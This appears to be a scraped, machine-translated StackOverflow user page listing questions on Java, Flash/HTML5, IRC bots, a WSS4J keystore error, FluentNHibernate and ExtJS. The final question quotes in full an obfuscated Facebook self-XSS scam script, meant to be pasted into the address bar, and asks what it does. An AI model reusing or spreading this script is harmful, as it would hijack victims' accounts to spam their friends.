小编Wal*_*tzy的帖子

Java中的函数指针数组

我已经阅读了这个问题,我仍然不知道是否有可能继续指向方法Java中的数组,如果任何人知道,如果这是可能的,或者不是这将是一个真正的帮助.我正试图找到一个优雅的解决方案,保持一个字符串列表和相关的功能,而不会写出数百个'if'的混乱.

干杯

java arrays pointers function

14
推荐指数
2
解决办法
2万
查看次数

我应该放弃Adobe Flash for HTML5和<canvas>吗?

我目前正在研究开发Facebook应用程序,并计划使用Flash作为我的应用程序的基础,我已经测试构建了一些简单的PHP Facebook应用程序,我对动作脚本3了解得足以启动我的方式,但API AS中的Facebook开发看起来比PHP更繁琐.

我的问题是我能够创建像我们在HTML5画布类中看到的那样的交互式图形(游戏)吗?哪个会更简单?

php html5 actionscript facebook

12
推荐指数
1
解决办法
1566
查看次数

用Java构建IRC bot

经过一些谷歌搜索,一个明显的答案或Java IRC机器人的起点没有出现,我的问题; 是否有一个现有的框架来帮助我建立一个IRC机器人?如果不这样做,这是否可以使用Java中的套接字执行此操作,并且有人在网络上看到过一个例子吗?

欢呼的家伙.

java sockets irc

7
推荐指数
2
解决办法
1万
查看次数

无法从文件中实例化JavaKeyStore

我正在尝试org.apache.ws.security.components.crypto.Merlin使用org.apache.ws.security.components.crypto.CryptoFactory特定CryptoFactory.getInstance(properties)方法的实例.

这将是一致的

java.lang.RuntimeException: org.apache.ws.security.components.crypto.Merlin cannot create instance

这显然是由

java.security.UnrecoverableKeyException: Password verification failed

已使用命令行上的keytool检查密钥库文件上的密码是否正确.

密钥库是通过以下过程生成的:

CMD窗口详细说明了keytool -genkey -keystore testkeystore.jks

这是在eclipse项目的根目录中.

测试应用程序如下:

public class App {
    public static void main(String[] args) throws CredentialException,
            IOException {
        System.out.println("Starting");
        Properties p = new Properties();
        p.setProperty("org.apache.ws.security.crypto.merlin.keystore.password",
                "password");
        p.setProperty("org.apache.ws.security.crypto.provider",
                "org.apache.ws.security.components.crypto.Merlin");
        p.setProperty("org.apache.ws.security.crypto.merlin.keystore.type",
                "jks");
        p.setProperty("org.apache.ws.security.crypto.merlin.file", "./testkeystore.jks");

        Crypto crypto = CryptoFactory.getInstance(p);
        System.out.println(" Complete ");

    }
}
Run Code Online (Sandbox Code Playgroud)

并生成以下异常:

Exception in thread "main" java.lang.RuntimeException: org.apache.ws.security.components.crypto.Merlin cannot create instance
    at org.apache.ws.security.components.crypto.CryptoFactory.loadClass(CryptoFactory.java:225)
    at org.apache.ws.security.components.crypto.CryptoFactory.loadClass(CryptoFactory.java:180)
    at org.apache.ws.security.components.crypto.CryptoFactory.getInstance(CryptoFactory.java:73)
    at com.restart.test.cryptotest2.App.main(App.java:22)
Caused by: java.lang.reflect.InvocationTargetException
    at …
Run Code Online (Sandbox Code Playgroud)

java security cryptography keystore jks

7
推荐指数
1
解决办法
2万
查看次数

使用C,C++或Java的示例应用程序和优点

好吧,我正在为即将到来的CS课程的2年级考试进行修改,很可能会出现这样的事情.我的问题是什么是一个理想的应用程序,将特别受益于三种语言中的每一种的程序功能?我有一个模糊的想法,但获得第二意见可能真的有帮助.

  • Java

    可移植性,简单 - 适用于GUI.

  • C++

    Fast但可能需要进行重大更改才能从系统移动到系统,有利于图像处理.

  • C

    我不确定这里的小型嵌入式应用程序?

关于这一点的一些澄清将非常感谢,再次感谢StackOverflow

c c++ java

6
推荐指数
2
解决办法
3151
查看次数

在javascript中将字符串转换为函数

我已经做了一些谷歌搜索,但这个特殊的问题有点类似于"我如何评估字符串中的函数名称"所以我找不到解决方案,我想将字符串转换为函数所以说我有类似的东西:

for (var i = 0; i < someNumber ; i++) {
    var foo = "function() { someObject.someOtherFunctionCall(" + i + ") }";
    someArray[i] = foo;
}
Run Code Online (Sandbox Code Playgroud)

我怎么会强迫foo所以我可以打电话

someArray[0]();
Run Code Online (Sandbox Code Playgroud)

我需要把功能,任何想法加入到价值中吗?

编辑:我只是为"混乱"代替"我"道歉

更新:

好的,我接受了icktoofay的回答,因为它有效,回答了你的大部分问题和疑虑; 我已经尝试了大多数建议的方法,其中所有方法都没有将变量传递给调用位置范围或者需要使用最后一个函数变量值持久化的闭包,遗憾的是我无法控制其余的代码所以我无法修改函数最终被调用的位置.

这可能是一个临时解决方案; 我知道函数的解析字符串是多么丑陋.就浏览器兼容性而言,这只会在一个环境中运行,所以我认为我们在那里非常安全.

无论如何,再次感谢您的回答和讨论.

javascript string casting function

5
推荐指数
1
解决办法
1077
查看次数

自动映射没有Id映射

My Entity Class:
public class Building 
    {
        /// <summary>
        /// internal Id 
        /// </summary>
        public virtual long Id { get; set; }
..............
}
Run Code Online (Sandbox Code Playgroud)

我的映射:

var model = AutoMap.AssemblyOf<Building>()
                        .Setup(s => s.FindIdentity = p => p.Name == "Id")
                        .Where(t => t.Namespace == "SpikeAutoMappings");

var database = Fluently.Configure()
                        .Database(DatabaseConfigurer)
                        .Mappings(m=>m.AutoMappings.Add(model));
Run Code Online (Sandbox Code Playgroud)

我需要有人帮我看看有什么问题因为我在运行单元测试时一直有这个错误:

Initialization method TestProject1.MappingTestBase.TestInitialize threw exception. FluentNHibernate.Cfg.FluentConfigurationException:  FluentNHibernate.Cfg.FluentConfigurationException: An invalid or incomplete configuration was used while creating a SessionFactory. Check PotentialReasons collection, and InnerException for more detail.

 --->  FluentNHibernate.Visitors.ValidationException: The entity …
Run Code Online (Sandbox Code Playgroud)

fluent-nhibernate automapping

3
推荐指数
1
解决办法
7743
查看次数

Extjs4 tabpanel,禁用所有子项而不循环它们

是否有任何方法可以禁用Extjs4选项卡面板上的所有子项,而无需循环它们.

我的代码:

var myPanel = new Ext.TabPanel({
    region: 'east',
    title: 'my panel title',
    width: 200,
    id: 'my-panel',
    split: true,
    collapsible: true,
    collapsed: true,
    floatable: true,
    xtype: 'tabpanel',
    items: [
        Ext.create('Ext.panel.Panel', {
        id: 'my-detail-panel',
        title: 'My Info',
        autoScroll: true,
        file: false,
        type: 'vbox',
        align: 'stretch',
        tpl: myDetailsTpl
    }),
        Ext.create('Ext.panel.Panel', {
        id: 'my-more-detail-panel',
        title: 'My more info',
        autoScroll: true,
        file: false,
        type: 'vbox',
        align: 'stretch',
        tpl: myMoreDetailsTpl
    })
            ]
});
Run Code Online (Sandbox Code Playgroud)

我需要禁用myPanel的所有子项,但仍需要'myPanel'保持状态为启用.

tabs extjs tabpanel extjs4

3
推荐指数
1
解决办法
4694
查看次数

这段JavaScript究竟做了什么?

我看到这个页面在我的Facebook社交圈中越来越受欢迎,98%的bla bla ...它会引导用户复制下面的JavaScript(我添加了一些缩进以使其更具可读性)到他们的地址栏中.看起来很狡猾,但我只有JavaScript的基本知识.

简单地说,这是做什么的?

javascript:(function(){
a='app120668947950042_jop';
b='app120668947950042_jode';
ifc='app120668947950042_ifc';
ifo='app120668947950042_ifo';
mw='app120668947950042_mwrapper';
eval(function(p,a,c,k,e,r){
    e=function(c){
        return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))}
    ;
    if(!''.replace(/^/,String)){
        while(c--)r[e(c)]=k[c]||e(c);
        k=[function(e){
            return r[e]}
        ];
        e=function(){
            return'\\w+'}
        ;
        c=1}
    ;
    while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);
    return p}
('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o"];
        d=U;
        d[e[2]](V)[e[1]][e[0]]=e[3];
        d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];
        s=d[e[2]](e[6]);
        m=d[e[2]](e[7]);
        c=d[e[9]](e[8]);
        c[e[11]](e[10],I,I);
        s[e[12]](c);
        C(D(){
            W[e[13]]()}
        ,E);
        C(D(){
            X[e[16]](e[14],e[15])}
        ,E);
        C(D(){
            m[e[12]](c);
            d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]}
        ,E);
        ',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'),0,{
}
))})();
Run Code Online (Sandbox Code Playgroud)

javascript facebook

0
推荐指数
1
解决办法
2万
查看次数